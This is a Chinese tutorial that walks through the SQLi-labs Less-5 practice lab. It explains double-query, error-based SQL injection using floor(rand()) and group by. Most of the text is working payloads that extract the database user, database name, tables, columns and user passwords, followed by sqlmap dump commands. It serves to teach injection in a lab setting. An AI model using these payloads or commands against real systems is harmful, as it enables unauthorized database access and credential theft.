概念
双注入简单理解为一个select查询里嵌套一个select查询,如果要利用双注入,就需要人为构造特定的能够造成报错的查询,从而在报错信息里返回我们需要的数据。
需要用到的函数和语句有:
1.concat() 作用为连接括号里的参数。例concat(1,~,2) 结果为 1-2
2.floor() 作用为对括号里的非整数进行取整 如1.9取为1,2.1取为2
3.count() 作用为针对查询结果条数进行计数
4.rand() 作用为生成0-1范围内的随机数 (1.括号内如果填写一个固定参数,则每次生成的随机数固定;2.使用* 运算符,可以使取值范围扩大,如 rand()*2 的取值范围为0-2)
5.group by [key]对查询结果进行分组,针对每一个key 列出一条结果。
6.group by [key]和 conut(*)联用,作用为列出所有可能的key和key的查询结果条数。
最后再介绍一种错误类型:Duplicate entry
这种错误一般发生于数据库对某一个字段有UNIQUE限制的情况下,例如某员工信息表里对身份证号字段设置的UNIQUE限制,即不能出现重复的身份证号,当我们插入一条新员工信息时,输入表中已存在的身份证号时就会报Duplicate entry错误,即重复录入。
HackBar
观察页面
注入id=1
且正确的回显只有这么一种回显,根本没有办法得到什么有效的信息
判断注入点
注入id=1’
访问报错了,但是查看报错的原因,明显跟单引号的闭合问题有关
且正确的回显只有这么一种回显,所以我们可以从利用报错的信息进行注入
判断字段数
一般再有报错回显的页面都可以利用order by来爆出字段数
?id=1’ order by 3 --+
可以得到当前的数据表共有3个字段
爆数据库用户
?id=-1' union select 1,count(*),concat((select user()),floor(rand()*9))as a from information_schema.tables group by a--+
爆数据库名
?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+
爆数据库的数据表
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a--+
爆当前数据库的第一个表
如果想知道还有其他什么表的话直接遍历就好了limit1,1
尝试过一次爆多个数据表,但是会报错
爆数据库的数据表中的列名
http://0.0.0.0:777/Less-5/?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
同样是只能爆出一行的数据,多了就会报错
爆数据库的数据表中的字段名
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
遍历即可得到所有的信息
sqlmap
sqlmap -u "0.0.0.0:777/Less-5/?id=1''" -batch
爆数据库名
sqlmap -u "0.0.0.0:777/Less-5/?id=1''" -batch -dbs
爆数据库中的数据表
sqlmap -u "0.0.0.0:777/Less-5/?id=1" -batch -D security --tables
爆数据表的字段信息
sqlmap -u "http://0.0.0.0:777/Less-5/?id=1" -batch -T users --columns
爆数据表的信息
sqlmap -u "http://0.0.0.0:777/Less-5/?id=1" -batch -D security -T users -C username,password -dump